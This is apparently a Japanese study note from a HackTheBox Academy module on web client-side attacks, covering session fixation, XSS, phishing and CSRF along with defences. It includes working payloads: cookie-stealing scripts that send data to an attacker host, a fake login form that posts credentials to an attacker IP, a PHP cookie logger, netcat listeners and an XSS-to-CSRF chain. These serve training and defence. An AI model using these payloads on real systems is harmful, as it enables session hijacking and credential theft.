> For the complete documentation index, see [llms.txt](https://snowyowls-organization.gitbook.io/snowyowl644-hacklog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://snowyowls-organization.gitbook.io/snowyowl644-hacklog/pentest_technique/web-client-side-attack.md).

# Web Client Side Attack

コースURL : <https://academy.hackthebox.com/module/153/section/1389>

webのクライアントサイドの攻撃は、色々あるが、大きな脆弱性になるものは、セッションIDを搾取できるものである。

## セッションIDの窃取

* ユーザーセッションは、一意のセッション識別子（Session ID）やトークンを基盤として生成・区別される
* そもそもwebの原理上、ステートレスだからsessionIDとかでユーザーの動きを追跡する必要がある
* 重要なのは、攻撃者がセッション識別子を取得した場合、セッションハイジャックが発生する可能性があるということ
* 攻撃者は被害者になりすまして Web アプリケーションを利用できるようになる
* セッションIDを取得できる可能性がある部分
  * パッシブなトラフィック／パケットスニッフィングによる取得
  * ログから特定
  * 予測
  * ブルートフォース
* セッション識別子のセキュリティレベルの依存する部分
  * 一般的なフレームワークの実装では、満たすようにチェックされているが、独自で実装した場合には注意が必要
  * **有効範囲**
    * 安全なセッションIDは、1つのセッションに対してのみ有効であるべき
  * **ランダム性**
    * 安全なセッションIDは、予測不可能な強力な乱数／文字列生成アルゴリズムで生成されるべき
  * **有効期限**
    * 安全なセッションIDは、一定時間後に失効すべき

セッション識別子のセキュリティは、どこに保存されるかにも依存する

* **URL**
  * この場合、HTTP Referer ヘッダーを通じて他サイトに漏洩する可能性がある
  * ブラウザ履歴にも保存される
* **HTML**
  * この場合、ブラウザのキャッシュや中間プロキシに保存される可能性がある
* **sessionStorage**
  * HTML5 で導入されたブラウザのストレージ機能
  * タブまたはブラウザが開いている間だけ有効
  * ページリロードや復元では保持されますが、ページセッション終了時に消去される
* **localStorage**
  * こちらも HTML5 の機能
  * ユーザーが削除しない限り保持され、ブラウザを終了しても消えない
  * ただし、プライベートブラウジング／シークレットモードではタブを閉じた時点で消去される
* サーバーの介入なしに管理される、または上記の安全な特性を満たさないセッション識別子は「弱い」とみなされる

### セッション攻撃

* セッションハイジャック
  * セッションIDを盗んで被害者になりすます
* セッション固定化
  * 攻撃者があらかじめ用意したセッション ID を被害者に使わせる手口
  * 被害者がログインすると、そのセッション ID が有効になるので、攻撃者も同じ ID で侵入できる
  * 成功すれば、攻撃者はセッションハイジャックを実行可能
* XSS
  * 攻撃者が仕込んだスクリプトが被害者のブラウザで実行され、セッション情報を盗むことに利用される
* CSRF
  * 被害者がログイン中の状態を利用して、攻撃者が用意したページを踏ませる
  * すると被害者の権限で勝手にリクエストが送られてしまう
* オープンリダイレクト
  * 本来のサイトのリダイレクト機能を悪用して、攻撃者のサイトへ誘導する
  * そこでさらにセッション情報を盗まれる可能性がある

### セッションハイジャック

* セッションハイジャックとは、セッション ID の管理が甘いアプリを狙い、攻撃者がその ID を奪ってサーバーにログインし、被害者になりすます攻撃のこと

攻撃者がセッションIDを手に入れる方法

* パケットスニッフィング
* XSS
* ブラウザの履歴やログを調べる
* セッション情報を保存しているデータベースの読み取り
* ブルートフォース
  * セッションIDが容易に推測できる場合

### セッション固定化

* Session Fixation
* 攻撃者が「有効なセッション ID」をあらかじめ決めておき、それを被害者に使わせる攻撃
* 被害者がそのセッション ID を使ってログインすると、攻撃者はすでにその ID を知っているので、あとはセッションハイジャックに移行できる
* この種のバグは、セッション ID（Cookie など）が **URL パラメータや POST データ** から受け入れられる場合によく使われる
  * Reflect XSSみたいな感じで、ユーザーにcookieを渡して使わせて有効化させるやつだ

流れ

1. 攻撃者が有効なセッションIDを取得する
2. 開発者ツールを開いて確認する
   * このアプリは **PHPSESSID という Cookie** をセッション ID に使っており、その値が URL の token パラメータと同じであることがわかる
   * ![Browser window showing a URL with a highlighted token 'ControlThisCookie' and developer tools panel displaying a PHPSESSID cookie value.](https://academy.hackthebox.com/storage/modules/153/19.png)
3. 被害者を誘導して、固定化したセッションを使わせる
   * 攻撃者は以下のように細工したURLを作り、被害者にエッションを使わせて有効化する
   * `http://oredirect.htb.net/?redirect_uri=/complete.html&token=IControlThisCookie`

#### 脆弱性がおこるコード

```sh
<?php
    if (!isset($_GET["token"])) {
        session_start();
        header("Location: /?redirect_uri=/complete.html&token=" . session_id());
    } else {
        setcookie("PHPSESSID", $_GET["token"]);
    }
?>
```

* tokenが設定されていなかったら、sessionをスタートさせて、session\_idをtokenとして生成してつける
* tokenが設定されていたら、PHPSESSIDにtokenの値を代入する

`http://oredirect.htb.net/?redirect_uri=/complete.html&token=IControlThisCookie`

* tokenが設定されているので、cookieのPHPsessidをtokenの値にする

### バグバウンティが脆弱性を見つけ出す手法

#### ユーザーの操作を必要としない攻撃

**トラフィック盗聴によるセッションIDの入手**

* ペネトレーションテスターが内部ネットワークのセキュリティを評価するときによく行う手法
  * ラップトップやRaspberry PiをLANポートに差し込み、ネットワークを流れる通信をモニタリングするといった形でできる
  * これによって、ネットワークのトラフィックやそこを流れるサービスを把握でき、攻撃対象を絞り込無事ができる
  * しかし、**攻撃者と被害者が同じローカルネットワークにいる必要がある**
* HTTP通信だったら丸見えだよねって話
* Wiresharkでできるよねって話

**侵入後にセッションIDを入手する方法**

**PHP**

* php.ini の session.save\_path にセッションファイルの保存場所が書いてある
* デフォルトでは /var/lib/php/sessions
* ファイル名は sess\_<セッションID> の形式
* 中身を見ると、ユーザー名などが書いてあって、Cookieを偽造することで、セッションを乗っ取ることができる

**Java**

* セッション管理は Manager 要素で行われる
* デフォルトでは SESSIONS.ser に保存される

**.NET**

* セッションデータは以下のどれかに保存される
  * アプリケーションワーカープロセス（aspnet\_wp.exe）
  * StateServer（IIS上または別サーバで動作するWindowsサービス）
  * SQL Server

## XSS

### 概要

* Webアプリの脆弱性の一種
  * JavaScriptなどのコードを、悪意のあるユーザーが他人のブラウザで勝手に実行させる
  * ユーザーの入力をちゃんと処理していない（サニタイズしていない）と起きる

なにができるの？

* クッキーを盗まれる
  * 攻撃者がログイン中のセッション情報を取得できる
* 勝手に操作される
  * パスワード変更、投稿などを被害者の代わりにやられてしまう
* 広告表示やマイニング
  * 広告収入目的やPCのリソースを使う攻撃もある

どうやって防ぐの？

* 入力のサニタイズ
  * HTMLタグやスクリプトを除去・無効化する
* エスケープ処理
  * 出力時にJavaScriptとして動かないように特殊文字を変換する
* CSP（Content Security Policy）の設定
  * ページで実行できるスクリプトの範囲を制限する

XSSの種類

* 保存型（Persistent XSS）
  * 入力がデータベースに保存 → 他人がページを開いたときに実行
  * 例：コメント欄、プロフィール欄
* 反射型（Reflected XSS）
  * 入力が一度だけ反映 → ユーザーがURLを開いたときに実行
  * 例：検索フォーム、エラーメッセージ
* DOMベース（DOM XSS）
  * 入力がサーバーを通らず、ブラウザだけで処理されて実行
  * 例：URLの#以降の部分、JavaScriptが直接扱う値

実際にあった事例

* Samyワーム（2005）
  * MySpaceのXSSで100万人以上に感染が広がった
* TweetDeckの自動リツイートバグ（2014）
  * 投稿を見るだけで勝手にリツイートされてしまった

まとめ

* XSSはとてもよくあるけど、軽視できない脆弱性
* 攻撃されるのは「ユーザー」だけど、信用を失うのは「サイト運営者」
* サニタイズ、エスケープ、CSPなどでしっかり対策しよう

### JS Compress

* XSSのJavaScript ペイロードが Burp とターゲット アプリケーションによって正しく処理されるようにするには、まずそれを縮小してからエンコードする必要がある
* [*JS Compress*](https://jscompress.com/)を使うことで、攻撃コードをワンライナーに縮小できる

「JavaScript を圧縮」をクリックすると、縮小された出力がコピーされ、ローカルに保存される 実行するために以下の関数で、縮小された JavaScript コードをエンコードし、不正な文字がペイロードの送信を妨げないようにする

* 以下の関数は、縮小された JS 文字列パラメータを解析し、[charCodeAt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/charCodeAt)メソッドを使用して各文字を対応する UTF-16 整数コードに変換

```js
function encode_to_javascript(string) {
            var input = string
            var output = '';
            for(pos = 0; pos < input.length; pos++) {
                output += input.charCodeAt(pos);
                if(pos != (input.length - 1)) {
                    output += ",";
                }
            }
            return output;
        }
        
let encoded = encode_to_javascript('insert_minified_javascript')
console.log(encoded)
```

こんな感じで ![](https://i.imgur.com/eQU7ZBM.png)

以下のコマンドで、エンコードされた文字列をデコードして実行する まず [fromCharCodeメソッドで文字列をデコード](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/fromCharCode)し、次に[eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)メソッド で実行 エンコードされた文字列をコピーしたら、以下の**curl**コマンド で挿入して攻撃できる

```sh
curl -i http://offsecwp --user-agent "<script>eval(String.fromCharCode(118,97,114,32,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,44,114,101,113,117,101,115,116,85,82,76,61,34,47,119,112,45,97,100,109,105,110,47,117,115,101,114,45,110,101,119,46,112,104,112,34,44,110,111,110...))</script>" --proxy 127.0.0.1:8080
```

### Stored XSS（保存型XSS）

* 一番危険なタイプのXSS
  * 入力した悪意あるコードが**サーバーのデータベースに保存される**
  * ページを開いた**他のユーザーにも影響が出る**
  * 例：掲示板、コメント欄、To-Doアプリなど

#### 起きる前提条件

• 入力欄（フォームやコメント欄など）がある • 入力内容を サーバーが保存（DBに書き込む） する • 保存した内容を 別のユーザーにそのまま表示 している • 表示するときにスクリプトを無効化していない（サニタイズしてない）

⇨ 保存する処理がないサイトは起きない

なんで危険なの？

* 全ユーザーに影響する
  * ページを開いただけで攻撃コードが実行される
* 修正が難しい
  * データベースから**手動で削除**しないと残り続けることも
* 被害が拡大しやすい
  * 拡散型のワームやマルウェア配布にも使える

#### XSSペイロード

* 入力欄があるWebアプリでテスト
* テスト用のXSSペイロードを入力してみる

成功すればアラートが表示される

```js
<script>alert(window.origin)</script>
```

```js
<script>alert(1)</script>
```

それ以降が全部プレーンテキストになる

```
<plaintext>
```

印刷ダイアログが表示される

```
<script>print()</script>
```

チェックポイント

* 入力内容がページに表示されたか？
  * 表示されていればXSSの可能性アリ
* アラートや印刷ダイアログが出たか？
  * JSがそのまま実行されている証拠
* ページを**再読み込みしても**アラートが出るか？
  * 出るなら**Stored XSS確定**
* ページのソース（右クリック→ページのソース表示）にコードが残っているか？
  * 例：`<script>alert(window.origin)</script>` がHTML内にある

Tips

* `alert(window.origin)` の意味
  * 実行されたドメインが確認できる
  * iframeなどの中で動いているかの確認に使える
* 一部のブラウザは `alert()` をブロックすることがある
  * そういうときは `print()` や `<plaintext>` を使うと◎

まとめ

* Stored XSSは「**一度仕込んだらずっと残る**」タイプの攻撃
* 全ユーザーに影響する可能性があるため、優先的に対処すべき
* 単純なTo-Doアプリや掲示板など、地味なアプリでも油断禁物！

### Reflected XSS（反射型XSS）

Reflected XSS（反射型XSS）ってなに？

* 一時的に実行されるXSS攻撃
  * 入力がサーバーに送られ、**そのまま画面に表示されるとき**に発生
  * ページをリロードしたら消える、一度きりの攻撃

どういう場面で起きるの？

* 検索フォームやエラー表示など
  * 例：「Task 'test' could not be added.」のようなエラーメッセージ ⇨ 入力した内容がそのまま画面に表示されるとき

#### XSSペイロード

* ペイロードを入力して反応を見る

```
<script>alert(window.origin)</script>
```

* アラートが出ればXSSの可能性あり
* HTMLソースを見て、スクリプトがそのまま入っているか確認
  * `<script>`タグごと表示されてたらアウト！

なんで「一時的」なの？

* 入力はページに表示されるだけで、**保存されない**
  * ページを再読み込みしたら消える
  * 他の人が同じページを見ても影響なし

どうやって被害者を攻撃するの？

* URLにペイロードを含める

```
http://94.237.51.163:54155/index.php?task=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
```

* 被害者にこのURLを踏ませると、スクリプトが実行される
* 特にGETリクエストで送信されるパラメータが狙われやすい

防ぐにはどうする？

* 入力のサニタイズ（危険な文字を無効化）
  * `<` や `>` などをHTMLエンティティに変換する
* 出力時のエスケープ処理
  * ユーザーの入力をそのまま表示しない

まとめ

* Reflected XSSは、**その場で実行される一時的な攻撃**
* 被害者に**悪意あるURLをクリックさせるだけで成立**する
* 発見・対処が比較的しやすいが、フィッシングなどに悪用されやすいので油断禁物！

### DOM XSS

DOM XSS（DOM型クロスサイトスクリプティング）ってなに？

* JavaScriptがブラウザ内で直接処理するXSS
  * 入力がサーバーに送られず、**ブラウザ（クライアント）だけで処理される**
  * ページのDOM（Document Object Model）をJavaScriptが動的に書き換えるときに起きる

どんな場面で起きるの？

* URLの `#（ハッシュ）` 以降のパラメータを使って動的に表示内容を変えているページ
  * 例：`http://example.com/#task=hello`
  * 入力がサーバーに届かない → ネットワークタブで通信が発生しない

なんでページソースに表示されないの？

* JavaScriptが**後から**ページの内容を書き換えてるから
  * 通常のHTMLソース（Ctrl+U）には表示されない
  * 表示内容を確認するには\*\*Webインスペクター（Ctrl+Shift+C）\*\*を使う

SourceとSinkってなに？

* Source：ユーザーの入力を受け取る場所
  * 例：URLパラメータ、入力欄など
* Sink：入力をDOMに**書き出す処理**
  * 例：`innerHTML`, `document.write()`, `append()` など
  * サニタイズされずに書き出されるとXSSの原因になる

実際のコード例

* 入力の取得（Source）：

  ```javascript
  var pos = document.URL.indexOf("task=");
  var task = document.URL.substring(pos + 5, document.URL.length);
  ```
* 表示の処理（Sink）：

  ```javascript
  document.getElementById("todo").innerHTML = "<b>Next Task:</b> " + decodeURIComponent(task);
  ```

  * `innerHTML` を使っていてサニタイズしてない → **脆弱性あり！**

#### XSSペイロード

* `<script>` タグは innerHTML では**無効化されることが多い**
  * だから、画像タグなどの別の方法で攻撃する

```
<img src="" onerror=alert(window.origin)>
```

* 画像読み込みに失敗したときに JavaScript 実行！

どうやって被害者を攻撃するの？

* 悪意あるURLを作って送るだけ
  * 例：`http://example.com/#task='><img src="" onerror=alert(window.origin)>`
  * ユーザーがそのURLを開くと、スクリプトが実行される

まとめ

* DOM XSSは「JavaScriptだけで完結するXSS」
* 通信なし、保存なしなので見落とされやすい
* `<script>`タグを使わず、画像タグなどで攻撃されることもある
* 開発時は `innerHTML` や `document.write()` の扱いに注意！

### XSSの発見方法

XSSの見つけ方（XSS Discovery）

* XSSを発見するには大きく3つの方法がある
  * 自動ツールを使う方法
  * 手動でテストする方法
  * ソースコードを直接読む方法（コードレビュー）

#### 自動スキャンツールで見つける

* [Nessus](https://www.tenable.com/products/nessus), [Burp Suite Pro](https://portswigger.net/burp/pro)、ZAP、XSStrikeなどのツールを使う
  * 入力欄を検出して、自動でXSSペイロードを送信・分析してくれる
  * 成功すればアラートやログでXSSの可能性を表示
* ツールの例（無料・OSS）
  * XSStrike、BruteXSS、XSSer など

XSS Strike

```shell-session
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test" 
```

#### 手動でXSSを試す

* フォームやURLパラメータに自分でペイロードを入力
  * 例：`<script>alert(1)</script>` や `<img src=x onerror=alert(1)>`
  * アラートが出たり、HTMLが崩れたらXSSの可能性あり
* ペイロードリストがネットに多数ある
  * [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md)
  * [PayloadBox](https://github.com/payloadbox/xss-payload-list) など
* 注意点
  * すべてのペイロードが全てのページで動くわけではない
  * サニタイズの種類やHTML構造によって使えるペイロードが異なる

手動でやるのが大変なら？

* Pythonで簡単な自動化スクリプトを作るのもアリ
  * ペイロードをリストから読み込んで自動で送る
  * 結果のHTMLにペイロードが反映されてるかをチェック

#### ホワイトボックス

* 一番確実な方法（でも一番難しい）
  * 入力がどう処理され、どのように表示されるかを追いかける
  * フロントエンド（HTML/JS）とバックエンド（PHP/Pythonなど）両方を確認
* DOM XSSの場合の例
  * Source（入力） → URLパラメータやフォーム
  * Sink（出力） → `innerHTML`, `document.write()` など

まとめ

* XSSはツールである程度は発見できるが、すべてではない
* 実際に動作を確認する or コードを読むことが大事
* ツール + 手動テスト + コードレビューの組み合わせが理想！

### XSSを利用した攻撃

#### Defacing

Defacing（Webページの改ざん）ってなに？

* XSSを使って、Webページの見た目を勝手に書き換える攻撃
  * 特にStored XSS（保存型）を使うと、全ユーザーに影響する
  * ハッカーが「攻撃成功したよ」と目立たせるためによく使う

どんなことができるの？

* 背景色を変える
  * `document.body.style.background = "#000000"` ← 暗い色が定番
* 背景画像を設定する
  * `document.body.background = "画像のURL"`
* ページタイトルを変える
  * `document.title = "Hacked by XYZ"`
* ページの中身を書き換える
  * `document.getElementsByTagName('body')[0].innerHTML = "New Text"`

どんなHTMLを表示する？

* 見た目だけじゃなく、メッセージや画像も表示できる
  * 例：

    ```html
    <center>
    	<h1 style="color: white">Cyber Security Training</h1>
    	<p style="color: white">
    		by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px">
    	</p>
    </center>
    ```
* このHTMLを1行にまとめて、JavaScriptでページ全体を書き換える
  * `innerHTML` を使えば一発で置き換え可能

どうやって使うの？

* 脆弱な入力欄にXSSペイロードを入力する
  * ページに保存される（Stored XSS）タイプなら効果大
  * ページを開いた人全員に改ざんされた見た目が表示される

注意点

* コードはページの末尾に挿入されることが多い
  * 他のスクリプトやHTMLが上書きしてしまう可能性あり
* 実際のソースコードでは、元のHTML + 改ざん用スクリプトが混在している

まとめ

* Defacingは「見た目を変えるだけ」のシンプルなXSS悪用例
* でも、企業・組織にとっては信用を大きく損なう
* 初心者がXSSの影響力を体感するにはちょうどよい演習テーマ

#### Phishing

XSS × フィッシング攻撃ってなに？

* XSSを使って「偽のログイン画面」を表示し、被害者から情報を盗む手法
  * 被害者が入力したID・パスワードが攻撃者のサーバーに送られる
  * 本物そっくりの画面で騙すから気付きにくい

攻撃の流れ

* XSSで偽のログインフォームを埋め込む
  * `document.write()` を使ってフォームのHTMLを注入
  * フォームの `action` 属性で攻撃者のサーバーを指定
* 被害者にそのURLを踏ませる
  * Reflected XSSならURLにペイロードを含めて送る
  * Stored XSSなら誰でも開くだけでフォームが表示される

フォームの例（XSS用に加工されたもの）

```sh
<script>document.write('<h3>Please login to continue</h3><form action=[http://10.10.14.83:8080](http://10.10.14.83:8080)><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script>
```

* 被害者が送信すると、認証情報が攻撃者のIPへ送信される

見た目を本物っぽくする工夫

* 元々の入力欄やUIを `remove()` で削除してログイン必須に見せかける
  * 例：`document.getElementById('urlform').remove()`
* 残ったHTMLをコメントアウトして偽画面だけを表示
  * 例：`<!--` を追加するだけでOK

盗んだ情報の受け取り方

* 方法①：簡易確認なら `netcat` でポート80を待ち受け
  * `sudo nc -lvnp 80`
  * 被害者が送信したURLの中に `username=xxx&password=yyy` が含まれる
* 方法②：自然な動作に見せるならPHPスクリプトを使う
  * 入力情報をファイルに保存して、元ページにリダイレクト
  * 被害者は「ログインできた」と思い込む

PHPスクリプトの例

* `$_GET` で受け取って `creds.txt` に保存
  * 終了後に `Location:` ヘッダーで元ページへ戻す

まとめ

* XSSは「偽フォーム」を埋め込むことで簡単にフィッシング攻撃ができる
* 被害者に自然に見せる工夫が成功のカギ
* 試すときは `Reflected XSS` でURLに仕込んで送ると分かりやすい

#### Session Hijacking

* 他人のログイン状態（セッション）を乗っ取る攻撃
  * 被害者のブラウザからセッションCookieを盗む
  * Cookieを自分のブラウザにセットすれば、パスワードなしでログインできる

窃取ができる条件

* セッション Cookie がすべての HTTP リクエストに含まれていること
* セッション Cookie が JavaScript コードからアクセス可能であること（**HTTPOnly 属性が設定されていないこと**）

どうやってCookieを盗むの？

* XSSでJavaScriptを実行してクッキーを抜く
  * 被害者のブラウザから自分のサーバーにCookieを送る
  * 例：画像の読み込みを使ってクッキーを送信

```sh
<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>
```

XSSを仕込むペイロード（外部JS読み込み形式）

* ブラインドXSS対策として、外部のスクリプトを読み込ませる

```
"><script src="http://OUR_IP/script.js"></script>
```

ブラインドXSSのテストでよく使うパターン

* フィールドごとにスクリプト名を変えて、脆弱な入力欄を特定

```
<script src="http://OUR_IP/username"></script>
<script src="http://OUR_IP/fullname"></script>
```

PHPで待ち受け用のサーバーを立てる

* Cookieをログファイルに保存する

```
<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>
```

PHPサーバーの起動手順（待ち受け用）

```
mkdir /tmp/tmpserver
cd /tmp/tmpserver
sudo php -S 0.0.0.0:80
```

クッキーが届くと、ログにはこう出る

```
10.10.10.10:52798 [200]: /script.js
10.10.10.10:52799 [200]: /index.php?c=cookie=f904f93c949d19d870911bf8b05fe7b2
```

保存されたクッキーの確認

```
cat cookies.txt
Victim IP: 10.10.10.1 | Cookie: cookie=f904f93c949d19d870911bf8b05fe7b2
```

盗んだCookieでログインする手順（Firefoxの場合）

* 開発者ツール → Storage → Cookies → + で追加
  * Name：cookie
  * Value：f904f93c949d19d870911bf8b05fe7b2
  * ドメインやパスは自動でOK

このペイロードだけでもクッキーを窃取できる

```sh
<script>fetch(`http://<AttackerIP>:9999?cookie=${btoa(document.cookie)}`)</script>
```

まとめ

* XSS + Cookie送信でSession Hijackingが可能
* ブラインドXSSで発動したXSSも使える
* HttpOnly属性付きのCookieならJSからは盗めない（防御策）
* Cookie管理はセキュリティの要、XSSとの合わせ技が危険！

## CSRF

### 概要

* インパクト : 中 クロスサイト・リクエスト・フォージェリ

### 発見する時に注目すべき箇所

* 認証は、Basic認証か、Cookieを使用しているか
* Cookie
  * `SameSite`属性がついているか
    * Strict・Lax が設定されているか
    * 未設定の場合、クロスサイトリクエストでCookieが送信されてしまう
* CSRFトークンはあるか
  * フォーム送信時にランダムなトークンが含まれているか
  * トークンがセッションごとに異なるか
  * サーバー側でトークンを検証しているか

### 直接的な影響

* 認証・ログイン済みのユーザーを騙して、意図しないリクエストを送らせる
  * CSRF攻撃は 「ブラウザがクッキーを自動送信する」性質を悪用して発生する。

### 攻撃者が間接的に行うことができる攻撃

* 攻撃者は 被害者のブラウザを利用して、別のサイトに不正なリクエストを送信し、被害者のアカウントで意図しない操作を実行させる。
  * 被害者がログインしてるからこそできる攻撃

### 直接的には関係ない学び

Cookie

* `httponly`属性
  * JSで読み取れないようにする属性
* `secure`属性
  * HTTPで送信しないようにする属性

### 攻撃ができる条件

* 標的リクエストに必要なすべてのパラメータを攻撃者が特定または推測できる場合
* アプリケーションのセッション管理が HTTP Cookie のみに基づいており、Cookie がブラウザのリクエストに自動的に含まれる場合
  * anti-csrfトークンが設定されていない
    * サーバー側が、ユーザーの画面から発行した正規のフォーム送信だけを認めるための一時的な秘密文字列
    * 典型的な仕組み
    1. サーバーがフォームを生成するとき、ランダムで推測困難なトークンを埋め込む
    2. そのトークンを**サーバー側セッションにも保存**しておく
    3. ユーザーがフォーム送信した時、リクエストに同じトークンが含まれているか検証
    4. 一致しなければ「このリクエストは正規のフォームから来ていない」として拒否
* Cookie は自動で付くが、リクエストが誰の操作かは分からない」というブラウザの仕様を利用する

### 攻撃に必要なもの

* 被害者を装って有効な（クロスサイト）リクエストを発行する悪意のある Web ページを作成すること
* 悪意のあるクロスサイトリクエストが発行される時点で、被害者がそのアプリケーションにログインしていること

### 攻撃の流れ

1. ユーザーが認証済みの状態（ログイン中）でいる
   * 例えば、銀行やECサイト、SNSにログインしている。
   * **ログインした状態のCoookieを持っている。**
2. 攻撃者がユーザーを騙して悪意のあるページへ誘導
   * メール・SNS・広告などでリンクをクリックさせる
   * 例：「クリックすると無料プレゼント！」のような偽サイト
3. 悪意のあるリクエストが自動的に送信される
   * ユーザーが偽サイトを開いた瞬間に、下のようなコードが実行される
     * `<img src="https://bank.com/transfer?to=attacker&amount=1000" />`
   * ユーザーのブラウザが 自動的に銀行のサーバーにリクエストを送信
   * **ログインした状態のクッキーが自動で送信されるため、サーバーは正規のユーザーのリクエストと誤認して、このリクエストが通ってしまう**
4. 攻撃者の意図したアクションが実行される
   * 例：勝手に攻撃者の口座に送金される、アカウントのメールアドレスが変更されるなど

### GETリクエストの悪用

以下の例では、ちょっと前提条件が厳しすぎるので、あまり使えなさそうな気もする 自分で他の前提条件の攻撃手法を調べる

* 前提としている状況
  * ターゲットの Web アプリは HTTP
  * 攻撃者は同じネットワークにいて、Wireshark や tcpdump などでパケットを盗聴できる
* その盗聴によって、CSRF トークンの値がそのまま見えてしまう
  * 当たり前
* 攻撃者が、同じCRSFトークン入れればなりすましできるってことだよね
  * 当たり前

### POSTリクエストの悪用

GETリクエストではなく、POSTリクエストを必要とする場合も、攻撃者は自動送信されるフォームを埋め込むことで攻撃が可能

HTMLインジェクションとXSSを利用してユーザーのCSRFトークンを窃取する

1. とあるサイトのURLに、メールアドレスが露出していることを確認する
   * `http://sampledomain/app/delete/<your-email>`
2. メールアドレスがなんのサニタイズもなく、表示されていると考え、自分のメールアドレスを以下のように変更する
   * `<h1>h1<u>underline<%2fu><%2fh1>`
3. 再度、メールアドレスがURLに露出している部分にアクセスする
   * すると、以下のように、そのままURLに書いてあることから、HTMLインジェクションが行われていることが確認できる
     * HTMLインジェクション : 任意のタグ・属性・スクリプトをページに挿入できる攻撃
     * XSS : 任意のJSを実行できる攻撃
   * ![](https://i.imgur.com/KSFmwP2.png)
4. 3で、HTMLインジェクションが実行でき、XSSも実行できることがわかったため、CSRFトークンを窃取する。まず、netcatで待ち受ける
   * `nc -nlvp 8000`
5. メールアドレスに、以下のペイロードを入力したURLを被害者に送る
   * メールアドレスに設定するペイロード : `<table%20background='%2f%2f<VPN/TUN Adapter IP>:PORT%2f`
   * ターゲットに送るURL : `http://csrf.htb.net/app/delete/%3Ctable background='%2f%2f<VPN/TUN Adapter IP>:8000%2f`
6. すると、攻撃者側にCSRFトークンを含んだ接続が飛んでくる

### XSS & CSRF Chaining

攻撃者が CSRF 保護を回避できたとしても、同一オリジン／SameSite 制限によってクロスサイトリクエストを作成できない場合がある このような場合は、脆弱性を**連鎖（チェイン** させることで最終的に CSRFを行うことができる

対象アプリケーションについての前提知識

* サーバー設定によってSame Origin／SameSite 保護を CSRF 対策として備えている。
* アプリケーションの Countryフィールドには、**Stored XSS 攻撃**の脆弱性がある
  * ![](https://i.imgur.com/jgvC2sW.png)

Same Origin/siteの設定によって、単純なCSRFは行えないが、 Stored XSSの脆弱性を用いることでCSRF攻撃を行うことができる

* 具体的には、このストアド XSS 脆弱性を利用して、Web アプリケーションに対して状態を変更するリクエストを発行する
* XSS を経由するリクエストは同一ドメインから送られるため、同一オリジン／SameSite 保護をバイパスできる

ここでは、CSRF攻撃によってプロフィールを公開させることを目標にする

* 具体的には、攻撃者Aが準備したで、Countryに悪意のあるスクリプトを入れたプロフィールページを見たら、Stored XSSが発火して、被害者のプロフィールが勝手に公開になると言う攻撃

攻撃準備

1. 攻撃をするためのJSスクリプトを用意する 必要なもの :
2. 攻撃者は、CountryフィールドのStored XSSの脆弱性を使用して、以下のスクリプトを入力する

```javascript
<script>
var req = new XMLHttpRequest(); // HTTPリクエストを送る準備
req.onload = handleResponse;    // リクエスト完了時に handleResponse 関数を実行するよう設定
req.open('get','/app/change-visibility',true); // GETメソッドで /app/change-visibility に非同期(true)で接続を準備
req.send();                     // 上で準備した GET リクエストを実際に送信
function handleResponse(d) {     // GETリクエスト完了後に呼び出されるコールバック関数を定義
    var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1]; // 応答HTMLから hidden フィールド name="csrf" の value にあるCSRFトークン(\w+に一致)を抽出
    var changeReq = new XMLHttpRequest(); // もう一つの HTTP リクエスト用に新しい XMLHttpRequest オブジェクトを作成
    changeReq.open('post', '/app/change-visibility', true); // POSTメソッドで /app/change-visibility に非同期(true)で接続を準備
    changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); // POSTデータの送信形式を application/x-www-form-urlencoded に設定
    changeReq.send('csrf='+token+'&action=change'); // 取得したトークンと action=change をリクエストボディに入れて送信
};                          // handleResponse 関数定義終了
</script>

```

* ![](https://i.imgur.com/iOANx8V.png)

被害者の閲覧 3. 被害者が、攻撃者のプロフィールページを閲覧することによって、攻撃者のCountryに入力されているStored XSSのスクリプトが発火し、被害者のプロフィールが公開される

### 脆弱なCSRFトークンを利用したCSRF攻撃

脆弱なCSRFトークンで、ユーザー名などから特定できる場合、CSRFを計算できて、攻撃者が様々なリクエストを送ることができる

* まあ、そうだよね。

### CSRF攻撃の防御

#### CSRFトークンの導入

* サーバー側でリクエストごとに一意のトークンを発行し、それが正しいか検証する。

```
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="abc123xyz">
  <input type="text" name="amount" value="1000">
  <button type="submit">送金</button>
</form>
```

トークンがない・不正な値の場合、サーバー側でリクエストを拒否する。

#### `SameSite` Cookie属性を設定

クッキーがクロスサイトリクエストで送信されないように設定する。 `Set-Cookie: session=abc123xyz; Secure; HttpOnly; SameSite=Strict`

* `Strict`: クロスサイトリクエストではクッキーを送らない（推奨）
* `Lax`: GETリクエストなら送るが、POSTでは送らない
* `None`: すべてのリクエストでクッキーを送る（危険！）

#### Referer ヘッダーを検証

リクエストの送信元を確認し、異なるサイトからのリクエストを拒否する。

```
def validate_referer(request):
    if not request.headers.get("Referer").startswith("https://your-site.com"):
        return "Unauthorized request"

```

ただし、Refererはブラウザ設定で削除できるため、補助的な対策として使う。

CSRF攻撃は 「ブラウザがクッキーを自動送信する」性質を悪用して発生する。 SameSite=Strict でクッキーを保護するのが簡単で効果的。 CSRFトークンを使うことで、正規のリクエストと悪意のあるリクエストを区別できる。

